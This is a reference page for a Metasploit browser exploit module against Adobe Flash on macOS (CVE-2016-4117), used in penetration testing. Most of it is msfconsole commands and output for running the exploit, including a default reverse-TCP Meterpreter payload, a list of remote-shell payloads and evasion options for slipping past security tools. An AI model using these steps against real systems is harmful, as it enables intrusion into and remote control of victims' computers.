Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion - Metasploit


This page contains detailed information about how to use the exploit/osx/browser/adobe_flash_delete_range_tl_op metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion
Module: exploit/osx/browser/adobe_flash_delete_range_tl_op
Source code: modules/exploits/osx/browser/adobe_flash_delete_range_tl_op.rb
Disclosure date: 2016-04-27
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-4117

This module exploits a type confusion on Adobe Flash Player, which was originally found being successfully exploited in the wild. This module has been tested successfully on: macOS Sierra 10.12.3, Safari and Adobe Flash Player 21.0.0.182, Firefox and Adobe Flash Player 21.0.0.182.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Basic Usage


msf > use exploit/osx/browser/adobe_flash_delete_range_tl_op
msf exploit(adobe_flash_delete_range_tl_op) > run

This module is also supported by Browser Autopwn 2.

To load it from Browser Autopwn 2, here's how:

msf > use auxiliary/server/browser_autopwn2 
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN adobe_flash_delete_range_tl_op
INCLUDE_PATTERN => adobe_flash_delete_range_tl_op
msf auxiliary(browser_autopwn2) > exploit

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Msfconsole Usage


Here is how the osx/browser/adobe_flash_delete_range_tl_op exploit module looks in the msfconsole:

msf6 > use exploit/osx/browser/adobe_flash_delete_range_tl_op

[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show info

       Name: Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion
     Module: exploit/osx/browser/adobe_flash_delete_range_tl_op
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2016-04-27

Provided by:
  Genwei Jiang
  bcook-r7

Available targets:
  Id  Name
  --  ----
  0   Mac OS X

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Retries  true             no        Allow the browser to retry the module
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:

Description:
  This module exploits a type confusion on Adobe Flash Player, which 
  was originally found being successfully exploited in the wild. This 
  module has been tested successfully on: macOS Sierra 10.12.3, Safari 
  and Adobe Flash Player 21.0.0.182, Firefox and Adobe Flash Player 
  21.0.0.182.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-4117
  http://www.securityfocus.com/bid/90505
  https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html
  http://www.securitytracker.com/id/1035826
  https://helpx.adobe.com/security/products/flash-player/apsa16-02.html
  https://helpx.adobe.com/security/products/flash-player/apsb16-15.html

Module Options


This is a complete list of options available in the osx/browser/adobe_flash_delete_range_tl_op exploit:

msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show options

Module options (exploit/osx/browser/adobe_flash_delete_range_tl_op):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Retries  true             no        Allow the browser to retry the module
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (osx/x64/meterpreter/reverse_tcp):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   LHOST                  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT                  4444             yes       The listen port
   MeterpreterDebugLevel  0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)

Exploit target:

   Id  Name
   --  ----
   0   Mac OS X

Advanced Options


Here is a complete list of advanced options supported by the osx/browser/adobe_flash_delete_range_tl_op exploit:

msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show advanced

Module advanced options (exploit/osx/browser/adobe_flash_delete_range_tl_op):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   CookieExpiration                         no        Cookie expiration in years (blank=expire on exit)
   CookieName              __ua             no        The name of the tracking cookie
   Custom404                                no        An external custom 404 URL (Example: http://example.com/404.html)
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   JsIdentifiers                            no        Identifiers to preserve for JsObfu
   JsObfuscate             0                no        Number of times to obfuscate JavaScript
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (osx/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the osx/browser/adobe_flash_delete_range_tl_op module can exploit:

msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Mac OS X

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the osx/browser/adobe_flash_delete_range_tl_op exploit:

msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show payloads

Compatible Payloads
===================

   #   Name                                           Disclosure Date  Rank    Check  Description
   -   ----                                           ---------------  ----    -----  -----------
   0   payload/generic/custom                                          normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                  normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                               normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/osx/x64/dupandexecve/bind_tcp                           normal  No     OS X dup2 Command Shell, Bind TCP Stager
   4   payload/osx/x64/dupandexecve/reverse_tcp                        normal  No     OS X dup2 Command Shell, Reverse TCP Stager
   5   payload/osx/x64/dupandexecve/reverse_tcp_uuid                   normal  No     OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)
   6   payload/osx/x64/exec                                            normal  No     OS X x64 Execute Command
   7   payload/osx/x64/meterpreter/bind_tcp                            normal  No     OSX Meterpreter, Bind TCP Stager
   8   payload/osx/x64/meterpreter/reverse_tcp                         normal  No     OSX Meterpreter, Reverse TCP Stager
   9   payload/osx/x64/meterpreter/reverse_tcp_uuid                    normal  No     OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)
   10  payload/osx/x64/meterpreter_reverse_http                        normal  No     OSX Meterpreter, Reverse HTTP Inline
   11  payload/osx/x64/meterpreter_reverse_https                       normal  No     OSX Meterpreter, Reverse HTTPS Inline
   12  payload/osx/x64/meterpreter_reverse_tcp                         normal  No     OSX Meterpreter, Reverse TCP Inline
   13  payload/osx/x64/say                                             normal  No     OS X x64 say Shellcode
   14  payload/osx/x64/shell_bind_tcp                                  normal  No     OS X x64 Shell Bind TCP
   15  payload/osx/x64/shell_reverse_tcp                               normal  No     OS X x64 Shell Reverse TCP

Evasion Options


Here is the full list of possible evasion options supported by the osx/browser/adobe_flash_delete_range_tl_op exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Genwei Jiang
  • bcook-r7

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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